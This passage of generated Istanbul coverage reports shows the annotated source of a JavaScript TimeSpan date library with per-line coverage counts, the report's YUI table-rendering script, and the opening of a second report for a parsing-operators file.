42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176</td><td class="line-coverage"><span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span></td><td class="text"><pre class="prettyprint lang-js">(function () {
	"use strict";
	var gFn = function (attr) {
		return <span class="fstat-no" title="function not covered" >function () {</span>
<span class="cstat-no" title="statement not covered" >			return this[attr];</span>
		};
	};
	
	var sFn = function (attr) {
		return <span class="fstat-no" title="function not covered" >function (val) {</span>
<span class="cstat-no" title="statement not covered" >			this[attr] = val;</span>
<span class="cstat-no" title="statement not covered" >			return this;</span>
		};
	};
	var attrs = ["years", "months", "days", "hours", "minutes", "seconds", "milliseconds"];
	var addSetFuncs = function (context, attrs) {
		for (var i = 0; i &lt; attrs.length ; i++) {
			var $a = attrs[i], $b = $a.slice(0, 1).toUpperCase() + $a.slice(1);
			context.prototype[$a] = 0;
			context.prototype["get" + $b] = gFn($a);
			context.prototype["set" + $b] = sFn($a);
		}
	};
	/**
	 * new TimeSpan(milliseconds);
	 * new TimeSpan(days, hours, minutes, seconds);
	 * new TimeSpan(days, hours, minutes, seconds, milliseconds);
	 */
	var TimeSpan = <span class="fstat-no" title="function not covered" >function (days, hours, minutes, seconds, milliseconds) {</span>
<span class="cstat-no" title="statement not covered" >		if (arguments.length === 1 &amp;&amp; typeof days === "number") {</span>
<span class="cstat-no" title="statement not covered" >			var orient = (days &lt; 0) ? -1 : +1;</span>
<span class="cstat-no" title="statement not covered" >			var millsLeft = Math.abs(days);</span>
<span class="cstat-no" title="statement not covered" >			this.setDays(Math.floor(millsLeft / 86400000) * orient);</span>
<span class="cstat-no" title="statement not covered" >			millsLeft = millsLeft % 86400000;</span>
<span class="cstat-no" title="statement not covered" >			this.setHours(Math.floor(millsLeft / 3600000) * orient);</span>
<span class="cstat-no" title="statement not covered" >			millsLeft = millsLeft % 3600000;</span>
<span class="cstat-no" title="statement not covered" >			this.setMinutes(Math.floor(millsLeft / 60000) * orient);</span>
<span class="cstat-no" title="statement not covered" >			millsLeft = millsLeft % 60000;</span>
<span class="cstat-no" title="statement not covered" >			this.setSeconds(Math.floor(millsLeft / 1000) * orient);</span>
<span class="cstat-no" title="statement not covered" >			millsLeft = millsLeft % 1000;</span>
<span class="cstat-no" title="statement not covered" >			this.setMilliseconds(millsLeft * orient);</span>
		} else {
<span class="cstat-no" title="statement not covered" >			this.set(days, hours, minutes, seconds, milliseconds);</span>
		}
&nbsp;
<span class="cstat-no" title="statement not covered" >		this.getTotalMilliseconds = <span class="fstat-no" title="function not covered" >function () {</span></span>
<span class="cstat-no" title="statement not covered" >			return	(this.getDays() * 86400000) +</span>
					(this.getHours() * 3600000) +
					(this.getMinutes() * 60000) +
					(this.getSeconds() * 1000);
		};
		
<span class="cstat-no" title="statement not covered" >		this.compareTo = <span class="fstat-no" title="function not covered" >function (time) {</span></span>
<span class="cstat-no" title="statement not covered" >			var t1 = new Date(1970, 1, 1, this.getHours(), this.getMinutes(), this.getSeconds()), t2;</span>
<span class="cstat-no" title="statement not covered" >			if (time === null) {</span>
<span class="cstat-no" title="statement not covered" >				t2 = new Date(1970, 1, 1, 0, 0, 0);</span>
			}
			else {
<span class="cstat-no" title="statement not covered" >				t2 = new Date(1970, 1, 1, time.getHours(), time.getMinutes(), time.getSeconds());</span>
			}
<span class="cstat-no" title="statement not covered" >			return (t1 &lt; t2) ? -1 : (t1 &gt; t2) ? 1 : 0;</span>
		};
&nbsp;
<span class="cstat-no" title="statement not covered" >		this.equals = <span class="fstat-no" title="function not covered" >function (time) {</span></span>
<span class="cstat-no" title="statement not covered" >			return (this.compareTo(time) === 0);</span>
		};
&nbsp;
<span class="cstat-no" title="statement not covered" >		this.add = <span class="fstat-no" title="function not covered" >function (time) {</span></span>
<span class="cstat-no" title="statement not covered" >			return (time === null) ? this : this.addSeconds(time.getTotalMilliseconds() / 1000);</span>
		};
&nbsp;
<span class="cstat-no" title="statement not covered" >		this.subtract = <span class="fstat-no" title="function not covered" >function (time) {</span></span>
<span class="cstat-no" title="statement not covered" >			return (time === null) ? this : this.addSeconds(-time.getTotalMilliseconds() / 1000);</span>
		};
&nbsp;
<span class="cstat-no" title="statement not covered" >		this.addDays = <span class="fstat-no" title="function not covered" >function (n) {</span></span>
<span class="cstat-no" title="statement not covered" >			return new TimeSpan(this.getTotalMilliseconds() + (n * 86400000));</span>
		};
&nbsp;
<span class="cstat-no" title="statement not covered" >		this.addHours = <span class="fstat-no" title="function not covered" >function (n) {</span></span>
<span class="cstat-no" title="statement not covered" >			return new TimeSpan(this.getTotalMilliseconds() + (n * 3600000));</span>
		};
&nbsp;
<span class="cstat-no" title="statement not covered" >		this.addMinutes = <span class="fstat-no" title="function not covered" >function (n) {</span></span>
<span class="cstat-no" title="statement not covered" >			return new TimeSpan(this.getTotalMilliseconds() + (n * 60000));</span>
		};
&nbsp;
<span class="cstat-no" title="statement not covered" >		this.addSeconds = <span class="fstat-no" title="function not covered" >function (n) {</span></span>
<span class="cstat-no" title="statement not covered" >			return new TimeSpan(this.getTotalMilliseconds() + (n * 1000));</span>
		};
&nbsp;
<span class="cstat-no" title="statement not covered" >		this.addMilliseconds = <span class="fstat-no" title="function not covered" >function (n) {</span></span>
<span class="cstat-no" title="statement not covered" >			return new TimeSpan(this.getTotalMilliseconds() + n);</span>
		};
&nbsp;
<span class="cstat-no" title="statement not covered" >		this.get12HourHour = <span class="fstat-no" title="function not covered" >function () {</span></span>
<span class="cstat-no" title="statement not covered" >			return (this.getHours() &gt; 12) ? this.getHours() - 12 : (this.getHours() === 0) ? 12 : this.getHours();</span>
		};
&nbsp;
<span class="cstat-no" title="statement not covered" >		this.getDesignator = <span class="fstat-no" title="function not covered" >function () {</span></span>
<span class="cstat-no" title="statement not covered" >			return (this.getHours() &lt; 12) ? Date.CultureInfo.amDesignator : Date.CultureInfo.pmDesignator;</span>
		};
&nbsp;
<span class="cstat-no" title="statement not covered" >		this.toString = <span class="fstat-no" title="function not covered" >function (format) {</span></span>
<span class="cstat-no" title="statement not covered" >			this._toString = <span class="fstat-no" title="function not covered" >function () {</span></span>
<span class="cstat-no" title="statement not covered" >				if (this.getDays() !== null &amp;&amp; this.getDays() &gt; 0) {</span>
<span class="cstat-no" title="statement not covered" >					return this.getDays() + "." + this.getHours() + ":" + this.p(this.getMinutes()) + ":" + this.p(this.getSeconds());</span>
				} else {
<span class="cstat-no" title="statement not covered" >					return this.getHours() + ":" + this.p(this.getMinutes()) + ":" + this.p(this.getSeconds());</span>
				}
			};
			
<span class="cstat-no" title="statement not covered" >			this.p = <span class="fstat-no" title="function not covered" >function (s) {</span></span>
<span class="cstat-no" title="statement not covered" >				return (s.toString().length &lt; 2) ? "0" + s : s;</span>
			};
			
<span class="cstat-no" title="statement not covered" >			var me = this;</span>
			
<span class="cstat-no" title="statement not covered" >			return format ? format.replace(/dd?|HH?|hh?|mm?|ss?|tt?/g,</span>
<span class="fstat-no" title="function not covered" >			function (format) {</span>
<span class="cstat-no" title="statement not covered" >				switch (format) {</span>
				case "d":
<span class="cstat-no" title="statement not covered" >					return me.getDays();</span>
				case "dd":
<span class="cstat-no" title="statement not covered" >					return me.p(me.getDays());</span>
				case "H":
<span class="cstat-no" title="statement not covered" >					return me.getHours();</span>
				case "HH":
<span class="cstat-no" title="statement not covered" >					return me.p(me.getHours());</span>
				case "h":
<span class="cstat-no" title="statement not covered" >					return me.get12HourHour();</span>
				case "hh":
<span class="cstat-no" title="statement not covered" >					return me.p(me.get12HourHour());</span>
				case "m":
<span class="cstat-no" title="statement not covered" >					return me.getMinutes();</span>
				case "mm":
<span class="cstat-no" title="statement not covered" >					return me.p(me.getMinutes());</span>
				case "s":
<span class="cstat-no" title="statement not covered" >					return me.getSeconds();</span>
				case "ss":
<span class="cstat-no" title="statement not covered" >					return me.p(me.getSeconds());</span>
				case "t":
<span class="cstat-no" title="statement not covered" >					return ((me.getHours() &lt; 12) ? Date.CultureInfo.amDesignator : Date.CultureInfo.pmDesignator).substring(0, 1);</span>
				case "tt":
<span class="cstat-no" title="statement not covered" >					return (me.getHours() &lt; 12) ? Date.CultureInfo.amDesignator : Date.CultureInfo.pmDesignator;</span>
				}
			}
			) : this._toString();
		};
<span class="cstat-no" title="statement not covered" >		return this;</span>
	};
	addSetFuncs(TimeSpan, attrs.slice(2));
	TimeSpan.prototype.set = <span class="fstat-no" title="function not covered" >function (days, hours, minutes, seconds, milliseconds){</span>
<span class="cstat-no" title="statement not covered" >		this.setDays(days || this.getDays());</span>
<span class="cstat-no" title="statement not covered" >		this.setHours(hours || this.getHours());</span>
<span class="cstat-no" title="statement not covered" >		this.setMinutes(minutes || this.getMinutes());</span>
<span class="cstat-no" title="statement not covered" >		this.setSeconds(seconds || this.getSeconds());</span>
<span class="cstat-no" title="statement not covered" >		this.setMilliseconds(milliseconds || this.getMilliseconds());</span>
	};
&nbsp;
&nbsp;
	/**
	 * Gets the time of day for this date instances. 
	 * @return {TimeSpan} TimeSpan
	 */
	Date.prototype.getTimeOfDay = <span class="fstat-no" title="function not covered" >function () {</span>
<span class="cstat-no" title="statement not covered" >		return new TimeSpan(0, this.getHours(), this.getMinutes(), this.getSeconds(), this.getMilliseconds());</span>
	};
&nbsp;
	Date.TimeSpan = TimeSpan;
&nbsp;
	<span class="missing-if-branch" title="else path not taken" >E</span>if (typeof window !== "undefined" ) {
		// keeping API compatible for v1.x 
		window.TimeSpan = TimeSpan;
	}
}());</pre></td></tr>
</table></pre>

</div>
<div class="footer">
    <div class="meta">Generated by <a href="http://istanbul-js.org/" target="_blank">istanbul</a> at Sun Nov 16 2014 12:08:33 GMT-0800 (PST)</div>
</div>

<script src="../prettify.js"></script>

<script src="https://yui-s.yahooapis.com/3.6.0/build/yui/yui-min.js"></script>
<script>

    YUI().use('datatable', function (Y) {

        var formatters = {
          pct: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              try {
                  return o.value.toFixed(2) + '%';
              } catch (ex) { return o.value + '%'; }
          },
          html: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.record.get(o.column.key + '_html');
          }
        },
          defaultFormatter = function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.value;
          };

        function getColumns(theadNode) {
            var colNodes = theadNode.all('tr th'),
                cols = [],
                col;
            colNodes.each(function (colNode) {
                col = {
                    key: colNode.getAttribute('data-col'),
                    label: colNode.get('innerHTML') || ' ',
                    sortable: !colNode.getAttribute('data-nosort'),
                    className: colNode.getAttribute('class'),
                    type: colNode.getAttribute('data-type'),
                    allowHTML: colNode.getAttribute('data-html') === 'true' || colNode.getAttribute('data-fmt') === 'html'
                };
                col.formatter = formatters[colNode.getAttribute('data-fmt')] || defaultFormatter;
                cols.push(col);
            });
            return cols;
        }

        function getRowData(trNode, cols) {
            var tdNodes = trNode.all('td'),
                    i,
                    row = { classes: {} },
                    node,
                    name;
            for (i = 0; i < cols.length; i += 1) {
                name = cols[i].key;
                node = tdNodes.item(i);
                row[name] = node.getAttribute('data-value') || node.get('innerHTML');
                row[name + '_html'] = node.get('innerHTML');
                row.classes[name] = node.getAttribute('class');
                //Y.log('Name: ' + name + '; Value: ' + row[name]);
                if (cols[i].type === 'number') { row[name] = row[name] * 1; }
            }
            //Y.log(row);
            return row;
        }

        function getData(tbodyNode, cols) {
            var data = [];
            tbodyNode.all('tr').each(function (trNode) {
                data.push(getRowData(trNode, cols));
            });
            return data;
        }

        function replaceTable(node) {
            if (!node) { return; }
            var cols = getColumns(node.one('thead')),
                data = getData(node.one('tbody'), cols),
                table,
                parent = node.get('parentNode');

            table = new Y.DataTable({
                columns: cols,
                data: data,
                sortBy: 'file'
            });
            parent.set('innerHTML', '');
            table.render(parent);
        }

        Y.on('domready', function () {
            replaceTable(Y.one('div.coverage-summary table'));
            if (typeof prettyPrint === 'function') {
                prettyPrint();
            }
        });
    });
</script>
</body>
</html>
parsing_operators.js.html000066600000145754152444006550011637 0ustar00<!doctype html>
<html lang="en">
<head>
    <title>Code coverage report for core/parsing_operators.js</title>
    <meta charset="utf-8">

    <link rel="stylesheet" href="../prettify.css">

    <style>
        body, html {
            margin:0; padding: 0;
        }
        body {
            font-family: Helvetica Neue, Helvetica,Arial;
            font-size: 10pt;
        }
        div.header, div.footer {
            background: #eee;
            padding: 1em;
        }
        div.header {
            z-index: 100;
            position: fixed;
            top: 0;
            border-bottom: 1px solid #666;
            width: 100%;
        }
        div.footer {
            border-top: 1px solid #666;
        }
        div.body {
            margin-top: 10em;
        }
        div.meta {
            font-size: 90%;
            text-align: center;
        }
        h1, h2, h3 {
            font-weight: normal;
        }
        h1 {
            font-size: 12pt;
        }
        h2 {
            font-size: 10pt;
        }
        pre {
            font-family: Consolas, Menlo, Monaco, monospace;
            margin: 0;
            padding: 0;
            line-height: 14px;
            font-size: 14px;
            -moz-tab-size: 2;
            -o-tab-size:  2;
            tab-size: 2;
        }

        div.path { font-size: 110%; }
        div.path a:link, div.path a:visited { color: #000; }
        table.coverage { border-collapse: collapse; margin:0; padding: 0 }

        table.coverage td {
            margin: 0;
            padding: 0;
            color: #111;
            vertical-align: top;
        }
        table.coverage td.line-count {
            width: 50px;
            text-align: right;
            padding-right: 5px;
        }
        table.coverage td.line-coverage {
            color: #777 !important;
            text-align: right;
            border-left: 1px solid #666;
            border-right: 1px solid #666;
        }

        table.coverage td.text {
        }

        table.coverage td span.cline-any {
            display: inline-block;
            padding: 0 5px;
            width: 40px;
        }
        table.coverage td span.cline-neutral {
            background: #eee;
        }
        table.coverage td span.cline-yes {
            background: #b5d592;
            color: #999;
        }
        table.coverage td span.cline-no {
            background: #fc8c84;
        }

        .cstat-yes { color: #111; }
        .cstat-no { background: #fc8c84; color: #111; }
        .fstat-no { background: #ffc520; color: #111 !important; }
        .cbranch-no { background:  yellow !important; color: #111; }

        .cstat-skip { background: #ddd; color: #111; }
        .fstat-skip { background: #ddd; color: #111 !important; }
        .cbranch-skip { background: #ddd !important; color: #111; }

        .missing-if-branch {
            display: inline-block;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: black;
            color: yellow;
        }

        .skip-if-branch {
            display: none;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: #ccc;
            color: white;
        }

        .missing-if-branch .typ, .skip-if-branch .typ {
            color: inherit !important;
        }

        .entity, .metric { font-weight: bold; }
        .metric { display: inline-block; border: 1px solid #333; padding: 0.3em; background: white; }
        .metric small { font-size: 80%; font-weight: normal; color: #666; }

        div.coverage-summary table { border-collapse: collapse; margin: 3em; font-size: 110%; }
        div.coverage-summary td, div.coverage-summary table  th { margin: 0; padding: 0.25em 1em; border-top: 1px solid #666; border-bottom: 1px solid #666; }
        div.coverage-summary th { text-align: left; border: 1px solid #666; background: #eee; font-weight: normal; }
        div.coverage-summary th.file { border-right: none !important; }
        div.coverage-summary th.pic { border-left: none !important; text-align: right; }
        div.coverage-summary th.pct { border-right: none !important; }
        div.coverage-summary th.abs { border-left: none !important; text-align: right; }
        div.coverage-summary td.pct { text-align: right; border-left: 1px solid #666; }
        div.coverage-summary td.abs { text-align: right; font-size: 90%; color: #444; border-right: 1px solid #666; }
        div.coverage-summary td.file { text-align: right; border-left: 1px solid #666; white-space: nowrap;  }
        div.coverage-summary td.pic { min-width: 120px !important;  }
        div.coverage-summary a:link { text-decoration: none; color: #000; }
        div.coverage-summary a:visited { text-decoration: none; color: #333; }
        div.coverage-summary a:hover { text-decoration: underline; }
        div.coverage-summary tfoot td { border-top: 1px solid #666; }

        div.coverage-summary .yui3-datatable-sort-indicator, div.coverage-summary .dummy-sort-indicator {
            height: 10px;
            width: 7px;
            display: inline-block;
            margin-left: 0.5em;
        }
        div.coverage-summary .yui3-datatable-sort-indicator {
            background: url("https://yui-s.yahooapis.com/3.6.0/build/datatable-sort/assets/skins/sam/sort-arrow-sprite.png") no-repeat scroll 0 0 transparent;
        }
        div.coverage-summary .yui3-datatable-sorted .yui3-datatable-sort-indicator {
            background-position: 0 -20px;
        }
        div.coverage-summary .yui3-datatable-sorted-desc .yui3-datatable-sort-indicator {
            background-position: 0 -10px;
        }

        .high { background: #b5d592 !important; }
        .medium { background: #ffe87c !important; }
        .low { background: #fc8c84 !important; }

        span.cover-fill, span.cover-empty {
            display:inline-block;
            border:1px solid #444;
            background: white;
            height: 12px;
        }
        span.cover-fill {
            background: #ccc;
            border-right: 1px solid #444;
        }
        span.cover-empty {
            background: white;
            border-left: none;
        }
        span.cover-full {
            border-right: none !important;
        }
        pre.prettyprint {
            border: none !important;
            padding: 0 !important;
            margin: 0 !important;
        }
        .com { color: #999 !important; }
        .ignore-none { color: #999; font-weight: normal; }

    </style>
</head>
<body>
<div class="header medium">
    <h1>Code coverage report for <span class="entity">core/parsing_operators.js</span></h1>
    <h2>
        
        Statements: <span class="metric">72.12% <small>(150 / 208)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Branches: <span class="metric">65% <small>(52 / 80)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Functions: <span class="metric">70.45% <small>(31 / 44)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Lines: <span class="metric">72.12% <small>(150 / 208)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        Ignored: <span class="metric"><span class="ignore-none">none</span></span> &nbsp;&nbsp;&nbsp;&nbsp;
    </h2>
    <div class="path"><a href="../index.html">All files</a> &#187; <a href="index.html">core/</a> &#187; parsing_operators.js</div>
</div>
<div class="body">
<pre><table class="coverage">
<tr><td class="line-count">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458</td><td class="line-coverage"><span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">10780</span>
<span class="cline-any cline-yes">25714</span>
<span class="cline-any cline-yes">25714</span>
<span class="cline-any cline-yes">4104</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">21610</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">217</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
